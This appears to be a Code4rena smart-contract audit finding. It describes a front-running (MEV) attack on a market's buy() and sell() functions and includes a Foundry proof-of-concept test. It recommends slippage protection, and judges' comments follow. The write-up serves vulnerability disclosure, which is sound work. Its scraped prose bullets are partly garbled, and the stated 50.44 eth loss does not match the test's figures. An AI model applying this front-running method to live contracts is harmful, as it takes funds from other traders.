Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 113/120
Findings: 1
Award: $1.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
A malicious user can front-run any invocation of the buy()
function, executing the same function to artificially elevate share prices for the victim and generate profits.
The front-runned transaction will end up paying more than expected therefore loosing funds.
The attacker can then call sell()
immediately after the victim transaction is confirmed to retrieve the amount stolen.
Some points to consider:
buy()
transaction by the victim, the larger the potential gains for * the front-runner when they subsequently sell the acquired tokens.priceIncrease=1e17
.33,52 eth
.33,52 eth
for the 6 tokens.88,52
for the 6 tokens.sell()
. The attacker stole 50.44 eth
.Add the test bellow to Market.t.sol
. The variable that defines the price Increase of Share tokens was changed to LINEAR_INCREASE = 15e17
.
I also added the following get function to Market.sol
:
function getTokensByAddress(uint256 id, address user) public returns(uint256 balance){ //@elcid added get function balance = tokensByAddress[id][user]; }
Bellow is the PoC of the Exploit:
function testFrontRun() public { address attacker = address(5); //funding users deal(address(token), attacker, 1000 ether); deal(address(token), alice, 1000 ether); testCreateNewShare(); vm.stopPrank(); //Bob sees Alice's transaction in the mempool and frontruns it uint256 attackerBalanceBefore = token.balanceOf(attacker); vm.startPrank(attacker); token.approve(address(market), 1000 ether); market.buy(1, 6); vm.stopPrank(); assertEq(market.tokensByAddress(1, attacker), 6); //Bob has 6 tokens uint256 attackerBalanceAfter = token.balanceOf(attacker); uint256 attackerPrice = attackerBalanceBefore - attackerBalanceAfter; assertEq(attackerPrice, 33525000000000000000); //Alice's transaction gets confirmed uint256 aliceBalanceBefore = token.balanceOf(alice); vm.startPrank(alice); token.approve(address(market), 1000 ether); market.buy(1, 6); vm.stopPrank(); assertEq(market.tokensByAddress(1, alice), 6); //Alice has 6 tokens uint256 aliceBalanceAfter = token.balanceOf(alice); uint256 alicePrice = aliceBalanceBefore - aliceBalanceAfter; uint256 aliceAmountLost = alicePrice - attackerPrice; assertEq(alicePrice, 88524999999999999974); assertEq(aliceAmountLost, 54999999999999999974); //Alice pays way more than she thought she would pay //Bob imediatly sells and makes profit vm.startPrank(attacker); market.sell(1, 6); uint256 attackerBalanceAfterSelling = token.balanceOf(attacker); uint256 attackerProfit = attackerBalanceAfterSelling - attackerBalanceBefore; console.log(attackerProfit); }
Manual Review
Consider adding slippage protection parameter like maxAmountToPay
.
MEV
#0 - c4-pre-sort
2023-11-18T10:44:57Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:14:14Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-28T23:37:51Z
MarioPoneder marked the issue as satisfactory